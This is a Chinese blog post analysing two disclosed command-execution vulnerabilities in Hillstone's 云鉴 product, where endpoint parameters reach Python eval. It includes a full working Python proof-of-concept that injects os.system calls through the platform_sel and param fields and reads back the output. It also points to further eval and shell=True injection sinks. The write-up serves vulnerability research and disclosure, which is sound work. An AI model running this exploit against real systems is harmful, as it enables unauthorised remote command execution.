山石网科云鉴存在前台任意命令执行漏洞

Zhiyuan Lv1

漏洞介绍

前几天在查看山石网科的安全通告,看到云鉴存在前台任意命令执行漏洞,就决定简单看一下发现云鉴与其他产品还是有很大的区别,公网上数量也不多所以跟着寻找和复现一下。

img

如果影响模块的顺序和漏洞编号的顺序是一一对应,那么我只复现了前两个HSVD-2023-0005, HSVD-2023-0008,由于我只能够在激活之前进行测试,所以并不清楚在激活之后是否能够访问和复现, 而且这两个洞应该是代码执行导致的命令执行。

HSVD-2023-0005

可以看到第一个影响的是getMessageSettingAction, 公告没有说完整应该是第二个一样影响的是,/master/ajaxActions/getMessageSettingAction.php

img

可以看到在用GET接收了company_uuid和platform_sel,后拼接并调用了getMessageSettingInfo,我们跟入该函数。

1
2
3
4
function getMessageSettingInfo($param){
return handleEmptyResult(postCommand("get-sms-setting|".$param));
//这里的get-sms-setting是关键,也是我们在python中调用有关
}

紧接着将传入getMessageSettingInfo函数的$param,拼接传入了postCommand函数该函数是用来向本地的8000端口发送POST请求的函数

img

将用户传入的转发到127.0.0.1:8000,通过简单粗暴的搜索8000找到了,一个由python的tornado运行的服务

img

来看一下整体逻辑,解释写在了注释

img

现在我们知道它将get-sms-setting转换为get_sms_setting,也就是处理该请求的函数,搜索字符串找到get_sms_setting函数

img

可以看到在这个函数中它简单粗暴的使用了eval去处理我们get-sms-setting|后面的参数,也就是这里的代码执行导致的命令执行,而接下来的HSVD-2023-0008大致相同。

HSVD-2023-0008

一样的找到 /master/ajaxActions/setSystemTimeAction.php

img

流程基本一致调用了setSysTime

1
2
3
function setSysTime($param){
return handleEmptyResult(postCommand("set-mp-time|".$param));
}

在python中查询到 set_mp_time 函数

img

也是eval导致的代码执行导致的命令执行

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
'''
HSVD-2023-0008
'''
def setSystemTimeAction(newcsrf,headers):
url = "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
proxies = {'https':'http://127.0.0.1:8080'}
x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
#req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers)
req2 = requests.post(url, data=x,headers=headers, verify=False)

'''
HSVD-2023-0005
'''
def getMessageSettingAction(newcsrf,header):
proxies = {'https':'http://127.0.0.1:8080'}
company_uuid = "aaa"
platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
req = requests.get(url, headers=header, verify=False)
print(req.text)


def main():
headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php"
req = requests.post(url, verify=False, headers=headers)
newcsrf = req.text.replace("\n", "")
setSystemTimeAction(newcsrf,headers)
reshell = requests.get('https://192.168.199.221/master/img/config',verify=False)
print('---------------------cmd-------------------------')
print(reshell.text)

if __name__ == '__main__':
main()

img

img

结束了?

当然并没有因为在这些python文件中还着很多这样的的处理方法直接使用eval函数

01

img

02

img

也有不完全的过滤,和使用subprocess.check_output函数但是确,打开了shell=True的命令注入

img

img

NED

这个文章是从我tools搬过来的,tools原文

  • Title: 山石网科云鉴存在前台任意命令执行漏洞
  • Author: Zhiyuan
  • Created at : 2024-02-06 22:34:00
  • Updated at : 2025-05-17 11:29:27
  • Link: https://redefine.ohevan.com/2024/02/06/hillstonenet/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
山石网科云鉴存在前台任意命令执行漏洞